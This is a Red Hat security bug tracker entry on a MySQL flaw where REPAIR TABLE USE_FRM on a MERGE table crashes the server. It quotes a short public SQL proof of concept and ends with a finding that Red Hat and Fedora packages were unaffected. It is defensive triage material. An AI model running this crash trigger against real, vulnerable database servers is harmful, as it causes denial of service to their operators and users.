Bug 718289

Summary:	mysql: DoS (crash) by processing REPAIR TABLE table USE_FRM on a MERGE table (MySQL bug#46339)
Product:	[Other] Security Response	Reporter:	Jan Lieskovsky <jlieskov>
Component:	vulnerability	Assignee:	Red Hat Product Security <security-response-team>
Status:	CLOSED NOTABUG	QA Contact:
Severity:	low	Docs Contact:
Priority:	low
Version:	unspecified	CC:	byte, tgl
Target Milestone:	---	Keywords:	Security
Target Release:	---
Hardware:	All
OS:	Linux
Whiteboard:
Fixed In Version:		Doc Type:	Bug Fix
Doc Text:		Story Points:	---
Clone Of:		Environment:
Last Closed:	2012-02-14 14:33:24 UTC	Type:	---
Regression:	---	Mount Type:	---
Documentation:	---	CRM:
Verified Versions:		Category:	---
oVirt Team:	---	RHEL 7.3 requirements from Atomic Host:
Cloudforms Team:	---	Target Upstream Version:
Bug Depends On:
Bug Blocks:	717721

Description Jan Lieskovsky 2011-07-01 17:01:58 UTC

It was found that MySQL server did not properly handle processing of SQL REPAIR TABLE table USE_FRM statements used on a MERGE table. A remote attacker, valid SQL user could use this flaw to cause denial of service (mysqld daemon crash).

References:
[1] http://dev.mysql.com/doc/refman/5.1/en/news-5-1-52.html
[2] http://bugs.mysql.com/bug.php?id=46339

Note:
On Red Hat Enterprise Linux systems exploitation of this issue would lead only
to temporary denial of service, since mysqld daemon gets automatically
restarted upon encountering a crash.

Comment 1 Jan Lieskovsky 2011-07-01 17:03:05 UTC

Public PoC from [2]:
====================

drop table if exists m1,t1;
create table t1(a int)engine=myisam;
create table m1(a int)engine=merge union=(t1) insert_method=last;
lock table m1 read;
repair table m1 use_frm;

Comment 2 Jan Lieskovsky 2011-07-01 17:03:58 UTC

This issue did NOT affect the versions of the mysql package, as shipped with
Red Hat Enterprise Linux 4, 5, or 6.

--

This issue did NOT affect the versions of the mysql package, as shipped with
Fedora release of 14 and 15.